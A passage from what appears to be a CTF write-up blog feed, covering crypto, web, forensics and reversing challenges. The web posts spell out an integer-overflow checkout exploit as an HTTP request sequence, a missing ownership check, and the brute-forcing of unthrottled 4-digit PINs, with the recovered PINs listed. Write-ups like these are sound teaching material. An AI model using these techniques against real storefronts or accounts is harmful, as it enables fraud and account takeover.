        <span class="n">k</span> <span class="o">=</span> <span class="nf">ord</span><span class="p">(</span><span class="n">key</span><span class="p">[</span><span class="n">i</span><span class="p">])</span> <span class="o">-</span> <span class="mi">65</span> <span class="k">if</span> <span class="n">i</span> <span class="o">&lt;</span> <span class="nf">len</span><span class="p">(</span><span class="n">key</span><span class="p">)</span> <span class="k">else</span> <span class="nf">ord</span><span class="p">(</span><span class="n">pt</span><span class="p">[</span><span class="n">i</span> <span class="o">-</span> <span class="nf">len</span><span class="p">(</span><span class="n">key</span><span class="p">)])</span> <span class="o">-</span> <span class="mi">65</span>
        <span class="n">pt</span><span class="p">.</span><span class="nf">append</span><span class="p">(</span><span class="nf">chr</span><span class="p">((</span><span class="nf">ord</span><span class="p">(</span><span class="n">ch</span><span class="p">)</span> <span class="o">-</span> <span class="mi">65</span> <span class="o">-</span> <span class="n">k</span><span class="p">)</span> <span class="o">%</span> <span class="mi">26</span> <span class="o">+</span> <span class="mi">65</span><span class="p">))</span>
    <span class="k">return</span> <span class="sh">""</span><span class="p">.</span><span class="nf">join</span><span class="p">(</span><span class="n">pt</span><span class="p">)</span>
</code></pre></div></div>

<p>The plaintext spells the marker suffix as <strong>concatenated digit-words</strong>
(<code class="language-plaintext highlighter-rouge">NINENINETWO...</code>). Since <code class="language-plaintext highlighter-rouge">autokey_encrypt</code> strips all non-alpha, the word
boundaries are gone — parse with backtracking against the 12-word length.</p>

<p>→ <code class="language-plaintext highlighter-rouge">GRANITE-992220037417</code></p>

<h2 id="stage-2--frost-regice-sha-256-counter-keystream">Stage 2 — Frost (Regice): SHA-256 counter keystream</h2>

<p><code class="language-plaintext highlighter-rouge">frost.bin</code> is XORed with <code class="language-plaintext highlighter-rouge">SHA256(material ‖ counter)</code> where the material is
<code class="language-plaintext highlighter-rouge">SHA256(K1)</code>.</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">def</span> <span class="nf">stream_xor</span><span class="p">(</span><span class="n">data</span><span class="p">,</span> <span class="n">material</span><span class="p">):</span>
    <span class="n">out</span> <span class="o">=</span> <span class="nf">bytearray</span><span class="p">();</span> <span class="n">pos</span> <span class="o">=</span> <span class="n">counter</span> <span class="o">=</span> <span class="mi">0</span>
    <span class="k">while</span> <span class="n">pos</span> <span class="o">&lt;</span> <span class="nf">len</span><span class="p">(</span><span class="n">data</span><span class="p">):</span>
        <span class="n">block</span> <span class="o">=</span> <span class="n">hashlib</span><span class="p">.</span><span class="nf">sha256</span><span class="p">(</span><span class="n">material</span> <span class="o">+</span> <span class="n">counter</span><span class="p">.</span><span class="nf">to_bytes</span><span class="p">(</span><span class="mi">8</span><span class="p">,</span> <span class="sh">"</span><span class="s">big</span><span class="sh">"</span><span class="p">)).</span><span class="nf">digest</span><span class="p">()</span>
        <span class="n">out</span><span class="p">.</span><span class="nf">extend</span><span class="p">(</span><span class="n">x</span> <span class="o">^</span> <span class="n">y</span> <span class="k">for</span> <span class="n">x</span><span class="p">,</span> <span class="n">y</span> <span class="ow">in</span> <span class="nf">zip</span><span class="p">(</span><span class="n">data</span><span class="p">[</span><span class="n">pos</span><span class="p">:</span><span class="n">pos</span><span class="o">+</span><span class="mi">32</span><span class="p">],</span> <span class="n">block</span><span class="p">))</span>
        <span class="n">pos</span> <span class="o">+=</span> <span class="mi">32</span><span class="p">;</span> <span class="n">counter</span> <span class="o">+=</span> <span class="mi">1</span>
    <span class="k">return</span> <span class="nf">bytes</span><span class="p">(</span><span class="n">out</span><span class="p">)</span>
</code></pre></div></div>

<p>This is the “follow the origin” hint — stage 2’s key <em>is</em> stage 1’s answer.</p>

<p>→ <code class="language-plaintext highlighter-rouge">CRYO-664128208716</code></p>

<h2 id="stage-3--iron-registeel-chained-digest">Stage 3 — Iron (Registeel): chained digest</h2>

<p>Same keystream construction, but the material is a three-link chain, spelled out
in the artifact’s own <code class="language-plaintext highlighter-rouge">plate_note</code>:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>h0 = SHA256(K2)
h1 = SHA256(h0 ‖ K1)
h2 = SHA256(reverse(h1) ‖ K2)      &lt;- byte-reversal
</code></pre></div></div>

<p>The reversal is the “the shape of the answer is not the answer” inscription.</p>

<p>→ <code class="language-plaintext highlighter-rouge">FERRUM-345246166574</code></p>

<h2 id="stage-4--the-vault-regigigas-aes-gcm">Stage 4 — The vault (Regigigas): AES-GCM</h2>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">key</span>   <span class="o">=</span> <span class="nf">sha256</span><span class="p">(</span><span class="sa">f</span><span class="sh">"</span><span class="si">{</span><span class="n">k1</span><span class="si">}</span><span class="s">|</span><span class="si">{</span><span class="n">k2</span><span class="si">}</span><span class="s">|</span><span class="si">{</span><span class="n">k3</span><span class="si">}</span><span class="sh">"</span><span class="p">.</span><span class="nf">encode</span><span class="p">()).</span><span class="nf">digest</span><span class="p">()</span>
<span class="n">nonce</span> <span class="o">=</span> <span class="nf">base64decode</span><span class="p">(</span><span class="n">vault</span><span class="p">[</span><span class="sh">"</span><span class="s">nonce_b64</span><span class="sh">"</span><span class="p">])</span>
<span class="n">aad</span>   <span class="o">=</span> <span class="sh">"</span><span class="s">NORTHERN-RELIQUARY-V1</span><span class="sh">"</span>
<span class="n">flag</span>  <span class="o">=</span> <span class="nc">AESGCM</span><span class="p">(</span><span class="n">key</span><span class="p">).</span><span class="nf">decrypt</span><span class="p">(</span><span class="n">nonce</span><span class="p">,</span> <span class="n">ciphertext</span><span class="p">,</span> <span class="n">aad</span><span class="p">.</span><span class="nf">encode</span><span class="p">())</span>
</code></pre></div></div>

<p>The altar’s “the order is not decorative” matters: stone ‖ frost ‖ iron,
pipe-joined, in that order.</p>

<p>Solver: <code class="language-plaintext highlighter-rouge">~/ctf/work/temple/solve.py</code> — walks the session gates and re-derives
everything live, so it works against a fresh instance.</p>]]></content><author><name>m0rpheus</name><email>ghassenboulares7@gmail.com</email></author><category term="crypto" /><category term="autokey" /><category term="sha256" /><category term="aes-gcm" /><category term="multi-stage" /><summary type="html"><![CDATA[Four chained stages — autokey cipher, SHA-256 counter keystream, chained digest, AES-GCM vault — where each answer is the next stage key.]]></summary><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://m0rpheus.tech/assets/img/logo.png" /><media:content medium="image" url="https://m0rpheus.tech/assets/img/logo.png" xmlns:media="http://search.yahoo.com/mrss/" /></entry><entry><title type="html">CSALE Revenge</title><link href="https://m0rpheus.tech/posts/csale-revenge/" rel="alternate" type="text/html" title="CSALE Revenge" /><published>2026-09-20T15:57:51+00:00</published><updated>2026-09-20T15:57:51+00:00</updated><id>https://m0rpheus.tech/posts/csale-revenge</id><content type="html" xml:base="https://m0rpheus.tech/posts/csale-revenge/"><![CDATA[<h2 id="summary">Summary</h2>

<p>The correctly-deployed version of the CSALE storefront. The Python source is
<strong>byte-identical</strong> to the beta release — only the deployment differed, which is
why the beta was unsolvable by the intended path.</p>

<h2 id="vulnerability-signed-32-bit-integer-overflow">Vulnerability: signed 32-bit integer overflow</h2>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">def</span> <span class="nf">signed_32</span><span class="p">(</span><span class="n">value</span><span class="p">):</span>
    <span class="n">value</span> <span class="o">&amp;=</span> <span class="mh">0xFFFFFFFF</span>
    <span class="k">return</span> <span class="n">value</span> <span class="o">-</span> <span class="mh">0x100000000</span> <span class="k">if</span> <span class="n">value</span> <span class="o">&amp;</span> <span class="mh">0x80000000</span> <span class="k">else</span> <span class="n">value</span>

<span class="c1"># in checkout():
</span><span class="n">total</span> <span class="o">=</span> <span class="nf">signed_32</span><span class="p">(</span><span class="nf">sum</span><span class="p">(</span><span class="n">x</span><span class="p">[</span><span class="sh">"</span><span class="s">price_cents</span><span class="sh">"</span><span class="p">]</span> <span class="o">*</span> <span class="n">x</span><span class="p">[</span><span class="sh">"</span><span class="s">quantity</span><span class="sh">"</span><span class="p">]</span> <span class="k">for</span> <span class="n">x</span> <span class="ow">in</span> <span class="n">items</span><span class="p">))</span>
</code></pre></div></div>

<p>Listing 9 (“Flag”, seller <code class="language-plaintext highlighter-rouge">superdiscreteflaguser</code>) is priced at $10,000,000 —
<code class="language-plaintext highlighter-rouge">1,000,000,000</code> cents. <code class="language-plaintext highlighter-rouge">add_to_cart</code> clamps quantity to 25, which is plenty:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>quantity 3  -&gt;  3,000,000,000  &gt;  2^31 (2,147,483,648)
             -&gt;  signed_32 wraps to  -1,294,967,296
</code></pre></div></div>

<p>Both balance guards then pass on a fresh $0 account:</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">if</span> <span class="n">total</span> <span class="o">&gt;</span> <span class="n">balance</span> <span class="ow">or</span> <span class="n">balance</span> <span class="o">-</span> <span class="n">total</span> <span class="o">&lt;</span> <span class="mi">0</span><span class="p">:</span>
    <span class="c1">#  -1,294,967,296 &gt; 0           -&gt; False
</span>    <span class="c1">#  0 - (-1,294,967,296) &lt; 0     -&gt; False
</span>    <span class="k">return</span> <span class="nf">redirect</span><span class="p">(</span><span class="sh">"</span><span class="s">/cart?error=funds</span><span class="sh">"</span><span class="p">)</span>
</code></pre></div></div>

<p>Checkout succeeds. The order snapshot copies the listing’s <code class="language-plaintext highlighter-rouge">fulfillment_note</code>,
which carries the flag.</p>

<h2 id="exploit">Exploit</h2>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>POST /signup            username=&lt;random&gt;&amp;password=&lt;random&gt;
POST /cart/items        listing_id=9&amp;quantity=3
POST /cart/checkout
GET  /account/orders  -&gt;  GET /orders/&lt;id&gt;
</code></pre></div></div>

<p>The order detail page renders the note containing the flag.</p>

<h2 id="second-bug-found-not-needed">Second bug (found, not needed)</h2>

<p><code class="language-plaintext highlighter-rouge">/&lt;slug&gt;/preview</code> and the GET side of <code class="language-plaintext highlighter-rouge">/&lt;slug&gt;/unlock</code> never check ownership —
unlike <code class="language-plaintext highlighter-rouge">draft_unlock</code>’s POST branch and <code class="language-plaintext highlighter-rouge">/account/drafts</code>, which both filter by
<code class="language-plaintext highlighter-rouge">owner_id</code>. And <code class="language-plaintext highlighter-rouge">draft_file()</code> searches:</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nf">image_path</span><span class="p">(</span><span class="nc">Path</span><span class="p">(</span><span class="n">draft</span><span class="p">[</span><span class="sh">"</span><span class="s">image_filename</span><span class="sh">"</span><span class="p">]).</span><span class="n">name</span><span class="p">,</span>
           <span class="p">(</span><span class="n">DRAFT_UPLOAD_DIR</span><span class="p">,</span> <span class="n">PRIVATE_LISTING_IMAGE_DIR</span><span class="p">))</span>
</code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">PRIVATE_LISTING_IMAGE_DIR</code> is the one directory containing <code class="language-plaintext highlighter-rouge">FLAG_IMAGE_PATH</code>
(<code class="language-plaintext highlighter-rouge">flag.png</code>) that no other route can reach. It is unexploitable in practice only
because draft slugs are seeded into the private DB and no route lists another
user’s drafts.</p>

<p>Solver: <code class="language-plaintext highlighter-rouge">~/ctf/work/csale2/pwn.py</code> (parameterised by base URL)</p>]]></content><author><name>m0rpheus</name><email>ghassenboulares7@gmail.com</email></author><category term="web" /><category term="integer-overflow" /><category term="flask" /><category term="black-box" /><summary type="html"><![CDATA[The correctly deployed CSALE. Byte-identical source, but this time the intended path works: a signed 32-bit integer overflow in the checkout maths.]]></summary><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://m0rpheus.tech/assets/img/logo.png" /><media:content medium="image" url="https://m0rpheus.tech/assets/img/logo.png" xmlns:media="http://search.yahoo.com/mrss/" /></entry><entry><title type="html">CSALE</title><link href="https://m0rpheus.tech/posts/csale/" rel="alternate" type="text/html" title="CSALE" /><published>2026-09-20T15:57:51+00:00</published><updated>2026-09-20T15:57:51+00:00</updated><id>https://m0rpheus.tech/posts/csale</id><content type="html" xml:base="https://m0rpheus.tech/posts/csale/"><![CDATA[<blockquote>
  <p>Note the flag format: this challenge uses last year’s <code class="language-plaintext highlighter-rouge">csawctf{}</code>, not <code class="language-plaintext highlighter-rouge">csaw{}</code>.</p>
</blockquote>

<h2 id="summary">Summary</h2>

<p>A Flask storefront. The organisers pulled the source release as “inaccurate”, so
this had to be solved black-box against the live instance. The real difficulty is
not the exploitation — it is a <strong>two-layer decoy</strong> designed to absorb effort on a
hidden-text extraction that turns out to be bait.</p>

<h2 id="1-account-enumeration">1. Account enumeration</h2>

<p>The store exposes seller accounts, including a non-obvious one:
<code class="language-plaintext highlighter-rouge">superdiscreetflaguser</code>.</p>

<blockquote>
  <p>Spelling matters: this instance uses <em>discreet</em>; the Revenge instance uses
<em>discrete</em>. Easy to mistype.</p>
</blockquote>

<h2 id="2-pin-brute-force">2. PIN brute force</h2>

<p>Accounts are gated behind a 4-digit PIN with no lockout and no rate limiting —
a 10,000-key space. Recovered:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Walter_W:              3276
Zoro:                  7800
OSIRIS:                9898
Zuko:                  0540
superdiscreetflaguser: 9837
</code></pre></div></div>

<h2 id="3-pull-the-flag-accounts-images">3. Pull the flag account’s images</h2>

<p>Authenticated as the flag account, fetch its listing/draft images rather than the
public thumbnails.</p>

<h2 id="4-the-two-layer-trap">4. The two-layer trap</h2>

<h3 id="layer-1--the-decoy-expensive-wrong">Layer 1 — the decoy (expensive, wrong)</h3>

<p>One image carries text rendered at <strong>extremely low contrast</strong>: grey on orange,
roughly 20 RGB levels of separation, completely invisible at normal viewing.
Recovering it requires per-channel separation, contrast stretching, and
connected-component analysis to segment the glyphs. It yields:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>csawctf{REDACTED}
</code></pre></div></div>

<p>This <em>feels</em> like the solve. It is not. The same image also carries large
handwritten text above and below the flag line reading:</p>

<blockquote>
  <p><em>do not submit this as flag / you will be banned</em></p>
</blockquote>

<h3 id="layer-2--the-real-flag">Layer 2 — the real flag</h3>

<p>The actual flag is in a <strong>second image</strong> (<code class="language-plaintext highlighter-rouge">flag_v2.png</code>), written in plain black
handwriting across the top of a Zuko/Aang panel from Avatar. No extraction
technique is needed — it is legible as soon as you are looking at the right asset.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>csawctf{REDACTED}
</code></pre></div></div>

<p>(“That’s rough, buddy.”)</p>

<h2 id="lesson">Lesson</h2>

<p>The hard-to-extract hidden text exists specifically to consume time. When a
recovered flag is rejected, re-examine <em>which asset</em> you are looking at before
assuming the extraction was wrong.</p>

<p>Artifacts: <code class="language-plaintext highlighter-rouge">~/ctf/work/web/</code> — <code class="language-plaintext highlighter-rouge">flag_v2.png</code> (real), <code class="language-plaintext highlighter-rouge">flag_img.png</code> (decoy),
<code class="language-plaintext highlighter-rouge">flagv2_zoom.png</code>, <code class="language-plaintext highlighter-rouge">zoom_rough.png</code>, <code class="language-plaintext highlighter-rouge">pins_new.txt</code></p>]]></content><author><name>m0rpheus</name><email>ghassenboulares7@gmail.com</email></author><category term="web" /><category term="black-box" /><category term="brute-force" /><category term="decoys" /><category term="flask" /><summary type="html"><![CDATA[A Flask storefront solved black-box after the source release was pulled — unauthenticated account enumeration, an unthrottled 4-digit PIN, and a two-layer decoy built to eat your time.]]></summary><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://m0rpheus.tech/assets/img/logo.png" /><media:content medium="image" url="https://m0rpheus.tech/assets/img/logo.png" xmlns:media="http://search.yahoo.com/mrss/" /></entry><entry><title type="html">Hollow Houses</title><link href="https://m0rpheus.tech/posts/hollow-houses/" rel="alternate" type="text/html" title="Hollow Houses" /><published>2026-09-20T15:57:51+00:00</published><updated>2026-09-20T15:57:51+00:00</updated><id>https://m0rpheus.tech/posts/hollow-houses</id><content type="html" xml:base="https://m0rpheus.tech/posts/hollow-houses/"><![CDATA[<h2 id="summary">Summary</h2>

<p>The site is a maze of interlinked rooms with no site map and nothing useful in
the headers. The route through it is a Morse message hidden in the <strong>whitespace
of a poem</strong>, which names the one room holding the flag.</p>

<h2 id="1-the-maze">1. The maze</h2>

<p>Every room (<code class="language-plaintext highlighter-rouge">/atrium/</code>, <code class="language-plaintext highlighter-rouge">/ossuary/</code>, <code class="language-plaintext highlighter-rouge">/wellspring/</code>, <code class="language-plaintext highlighter-rouge">/mirror/</code>, and around
fifty more) links to roughly 50 others, so blind crawling gives no gradient.</p>

<p><code class="language-plaintext highlighter-rouge">robots.txt</code> is the entry point:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>User-agent: *
Disallow: /internal-monitor/
Disallow: /relay-status/

# the obedient have been answered.
</code></pre></div></div>

<p>The comment is an invitation to visit what is disallowed.</p>

<h2 id="2-the-nudge">2. The nudge</h2>

<p>One room carries the HTML comment:</p>

<div class="language-html highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c">&lt;!-- not every word is the colour it appears to be. select all, if you must. --&gt;</span>
</code></pre></div></div>

<p>Several rooms style text at near-background colours, so a select-all or a
tag-stripping fetch is needed to read them. A small crawler that saved each room
and printed its comments, stripped text, and any <code class="language-plaintext highlighter-rouge">csaw{REDACTED}</code> match did the walking:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>curl <span class="nt">-sS</span> <span class="nt">-o</span> <span class="s2">"</span><span class="nv">$N</span><span class="s2">.html"</span> <span class="s2">"https://hollow-houses.ctf.csaw.io/</span><span class="nv">$P</span><span class="s2">"</span>
<span class="nb">grep</span> <span class="nt">-o</span> <span class="s1">'&lt;!--[^&gt;]*--&gt;'</span> <span class="s2">"</span><span class="nv">$N</span><span class="s2">.html"</span>
<span class="nb">grep</span> <span class="nt">-oiE</span> <span class="s1">'csaw\{[^}]*\}'</span> <span class="s2">"</span><span class="nv">$N</span><span class="s2">.html"</span>
</code></pre></div></div>

<h2 id="3-the-message">3. The message</h2>

<p><code class="language-plaintext highlighter-rouge">/wellspring/</code> holds a <code class="language-plaintext highlighter-rouge">&lt;pre class="elegy"&gt;</code> poem. The words are filler; the
<strong>gaps</strong> are the payload. Per line, each inter-word gap is one Morse symbol —
a single space is a dot, two or more spaces a dash — one line is one letter, and
a blank line is a word break:</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">sym</span> <span class="o">=</span> <span class="sh">""</span><span class="p">.</span><span class="nf">join</span><span class="p">(</span><span class="sh">"</span><span class="s">-</span><span class="sh">"</span> <span class="k">if</span> <span class="nf">len</span><span class="p">(</span><span class="n">m</span><span class="p">.</span><span class="nf">group</span><span class="p">(</span><span class="mi">1</span><span class="p">))</span> <span class="o">&gt;</span> <span class="mi">1</span> <span class="k">else</span> <span class="sh">"</span><span class="s">.</span><span class="sh">"</span>
              <span class="k">for</span> <span class="n">m</span> <span class="ow">in</span> <span class="n">re</span><span class="p">.</span><span class="nf">finditer</span><span class="p">(</span><span class="sa">r</span><span class="sh">"</span><span class="s">(?&lt;=\S)( +)(?=\S)</span><span class="sh">"</span><span class="p">,</span> <span class="n">ln</span><span class="p">))</span>
</code></pre></div></div>

<p>Decoded: <strong><code class="language-plaintext highlighter-rouge">THE FLAG LIES WAITING IN THE SANCTUM</code></strong></p>

<h2 id="4-the-room">4. The room</h2>

<p><code class="language-plaintext highlighter-rouge">/sanctum/</code> carries the flag plainly in <code class="language-plaintext highlighter-rouge">&lt;span class="flag breathe"&gt;</code> — no
further trick once you know which of the fifty-odd doors to open.</p>

<p>Scripts: <code class="language-plaintext highlighter-rouge">~/ctf/work/hollow/</code> (<code class="language-plaintext highlighter-rouge">f.sh</code>, <code class="language-plaintext highlighter-rouge">morse.py</code>, <code class="language-plaintext highlighter-rouge">poem2.py</code>)</p>]]></content><author><name>m0rpheus</name><email>ghassenboulares7@gmail.com</email></author><category term="misc" /><category term="steganography" /><category term="morse" /><category term="recon" /><summary type="html"><![CDATA[A maze of interlinked rooms with no sitemap. The route is a Morse message hidden in the whitespace of a poem.]]></summary><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://m0rpheus.tech/assets/img/logo.png" /><media:content medium="image" url="https://m0rpheus.tech/assets/img/logo.png" xmlns:media="http://search.yahoo.com/mrss/" /></entry><entry><title type="html">Ghost in the Machine</title><link href="https://m0rpheus.tech/posts/ghost-in-the-machine/" rel="alternate" type="text/html" title="Ghost in the Machine" /><published>2026-09-20T15:57:18+00:00</published><updated>2026-09-20T15:57:18+00:00</updated><id>https://m0rpheus.tech/posts/ghost-in-the-machine</id><content type="html" xml:base="https://m0rpheus.tech/posts/ghost-in-the-machine/"><![CDATA[<h2 id="summary">Summary</h2>

<p>Every packet in the capture is identical, so nothing is carried in the bytes.
The message lives in the <strong>gaps between packets</strong>, and the XOR key that unlocks
it is spelled out by the source ports.</p>

<h2 id="1-the-capture">1. The capture</h2>

<p>504 UDP packets, one direction only:</p>

<ul>
  <li>every payload is the literal <code class="language-plaintext highlighter-rouge">PING</code></li>
  <li>every <code class="language-plaintext highlighter-rouge">IP.len</code> is 32</li>
  <li><code class="language-plaintext highlighter-rouge">IP.id</code> is pinned at 4919 (<code class="language-plaintext highlighter-rouge">0x1337</code>)</li>
</ul>

<p>Nothing varies except TTL (64 or 113), source port, and arrival time.</p>

<h2 id="2-separating-signal-from-noise">2. Separating signal from noise</h2>

<p>Of 121 distinct source ports, <strong>6</strong> carry 64–65 packets each and the other 115
carry one to three. Keeping only the six busy ports leaves <strong>385</strong> real packets;
the 115 stragglers are chaff.</p>

<h2 id="3-the-key">3. The key</h2>

<p>The six real ports, in first-seen order, are a direct ASCII encoding:</p>

<table>
  <thead>
    <tr>
      <th>Port</th>
      <th>minus 40000</th>
      <th>ASCII</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>40115</td>
      <td>115</td>
      <td><code class="language-plaintext highlighter-rouge">s</code></td>
    </tr>
    <tr>
      <td>40104</td>
      <td>104</td>
      <td><code class="language-plaintext highlighter-rouge">h</code></td>
    </tr>
    <tr>
      <td>40052</td>
      <td>52</td>
      <td><code class="language-plaintext highlighter-rouge">4</code></td>
    </tr>
    <tr>
      <td>40100</td>
      <td>100</td>
      <td><code class="language-plaintext highlighter-rouge">d</code></td>
    </tr>
    <tr>
      <td>40111</td>
      <td>111</td>
      <td><code class="language-plaintext highlighter-rouge">o</code></td>
    </tr>
    <tr>
      <td>40119</td>
      <td>119</td>
      <td><code class="language-plaintext highlighter-rouge">w</code></td>
    </tr>
  </tbody>
</table>

<p>→ <code class="language-plaintext highlighter-rouge">sh4dow</code></p>

<h2 id="4-the-covert-channel">4. The covert channel</h2>

<p>385 packets give 384 inter-arrival deltas, falling into two clean,
non-overlapping bands:</p>

<ul>
  <li>245 short gaps, 35.5–64.8 ms</li>
  <li>139 long gaps, 135.1–164.8 ms</li>
</ul>

<p>Threshold at 100 ms, map long → <code class="language-plaintext highlighter-rouge">1</code> and short → <code class="language-plaintext highlighter-rouge">0</code>, pack MSB-first into bytes,
then XOR with the repeating key.</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">bits</span> <span class="o">=</span> <span class="sh">""</span><span class="p">.</span><span class="nf">join</span><span class="p">(</span><span class="sh">'</span><span class="s">1</span><span class="sh">'</span> <span class="k">if</span> <span class="n">x</span> <span class="o">&gt;=</span> <span class="mi">100</span> <span class="k">else</span> <span class="sh">'</span><span class="s">0</span><span class="sh">'</span> <span class="k">for</span> <span class="n">x</span> <span class="ow">in</span> <span class="n">deltas</span><span class="p">)</span>
<span class="n">ct</span>   <span class="o">=</span> <span class="nf">bytes</span><span class="p">(</span><span class="nf">int</span><span class="p">(</span><span class="n">bits</span><span class="p">[</span><span class="n">i</span><span class="p">:</span><span class="n">i</span><span class="o">+</span><span class="mi">8</span><span class="p">],</span> <span class="mi">2</span><span class="p">)</span> <span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nf">range</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="nf">len</span><span class="p">(</span><span class="n">bits</span><span class="p">),</span> <span class="mi">8</span><span class="p">))</span>
<span class="n">flag</span> <span class="o">=</span> <span class="nf">bytes</span><span class="p">(</span><span class="n">ct</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">^</span> <span class="sa">b</span><span class="sh">'</span><span class="s">sh4dow</span><span class="sh">'</span><span class="p">[</span><span class="n">i</span> <span class="o">%</span> <span class="mi">6</span><span class="p">]</span> <span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nf">range</span><span class="p">(</span><span class="nf">len</span><span class="p">(</span><span class="n">ct</span><span class="p">)))</span>
</code></pre></div></div>

<h2 id="decoy">Decoy</h2>

<p>TTL also varies two ways (64/113) and looks like an obvious bit channel.
Decoding it yields nothing.</p>

<p>Scripts: <code class="language-plaintext highlighter-rouge">~/ctf/work/pcap/</code> (<code class="language-plaintext highlighter-rouge">an.py</code>, <code class="language-plaintext highlighter-rouge">t.py</code>, <code class="language-plaintext highlighter-rouge">t2.py</code>)</p>]]></content><author><name>m0rpheus</name><email>ghassenboulares7@gmail.com</email></author><category term="forensics" /><category term="pcap" /><category term="covert-channel" /><category term="timing" /><category term="xor" /><summary type="html"><![CDATA[Every packet in the capture is byte-identical. The message is in the gaps between them, and the source ports spell out the XOR key.]]></summary><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://m0rpheus.tech/assets/img/logo.png" /><media:content medium="image" url="https://m0rpheus.tech/assets/img/logo.png" xmlns:media="http://search.yahoo.com/mrss/" /></entry><entry><title type="html">nitro</title><link href="https://m0rpheus.tech/posts/nitro/" rel="alternate" type="text/html" title="nitro" /><published>2026-09-20T15:57:18+00:00</published><updated>2026-09-20T15:57:18+00:00</updated><id>https://m0rpheus.tech/posts/nitro</id><content type="html" xml:base="https://m0rpheus.tech/posts/nitro/"><![CDATA[<h2 id="summary">Summary</h2>

<p>The binary decrypts its own <code class="language-plaintext highlighter-rouge">secret_check</code> function at runtime and then uses
those same decrypted bytes as the keystream for the flag — the code is its own
key material. Solved entirely statically; the binary is never executed, so no
anti-debug is ever engaged.</p>

<h2 id="chain">Chain</h2>

<h3 id="1-self-modifying-code">1. Self-modifying code</h3>

<p><code class="language-plaintext highlighter-rouge">main()</code> calls <code class="language-plaintext highlighter-rouge">mprotect</code> on its own <code class="language-plaintext highlighter-rouge">.enccode</code> section to make it RWX, then
XOR-decrypts <code class="language-plaintext highlighter-rouge">0x15e</code> bytes at <code class="language-plaintext highlighter-rouge">secret_check</code> with an 8-byte repeating key
<code class="language-plaintext highlighter-rouge">1337c0debaadf00d</code> (symbol <code class="language-plaintext highlighter-rouge">smc_key.0</code>), and calls the result.</p>

<p>Replicating that offline gives the decrypted function body.</p>

<h3 id="2-password-recovery">2. Password recovery</h3>

<p>The decrypted <code class="language-plaintext highlighter-rouge">secret_check</code> builds its expected password on the stack one byte
at a time as <code class="language-plaintext highlighter-rouge">mov BYTE PTR [rbp+disp8], imm8</code> — opcode <code class="language-plaintext highlighter-rouge">c6 45 &lt;disp8&gt; &lt;imm8&gt;</code>.</p>

<p>Regex the decrypted bytes for that pattern, sort by stack displacement, and take
the longest run of consecutive slots holding printable values:</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">slots</span> <span class="o">=</span> <span class="nf">sorted</span><span class="p">({</span><span class="n">d</span><span class="p">[</span><span class="mi">0</span><span class="p">]:</span> <span class="n">v</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="k">for</span> <span class="n">d</span><span class="p">,</span> <span class="n">v</span> <span class="ow">in</span> <span class="n">re</span><span class="p">.</span><span class="nf">findall</span><span class="p">(</span><span class="sa">rb</span><span class="sh">'</span><span class="s">\xc6\x45(.)(.)</span><span class="sh">'</span><span class="p">,</span> <span class="n">dec</span><span class="p">,</span> <span class="n">re</span><span class="p">.</span><span class="n">S</span><span class="p">)}.</span><span class="nf">items</span><span class="p">())</span>
</code></pre></div></div>

<p>→ <code class="language-plaintext highlighter-rouge">n2o_boost</code></p>

<h3 id="3-flag-keystream">3. Flag keystream</h3>

<p>The flag is not stored. It is XORed against a keystream indexed back into the
decrypted code:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>k_i = (dec[(7*i + 3) % 0x15e] + 5*i + 0x6b) mod 256
flag[i] = enc_flag[i] ^ k_i          # over 0x2f bytes
</code></pre></div></div>

<h2 id="note">Note</h2>

<p>Because the keystream is derived from the decrypted code, you cannot simply dump
the flag at runtime without also reconstructing the SMC step — and reconstructing
the SMC step makes running the binary unnecessary.</p>

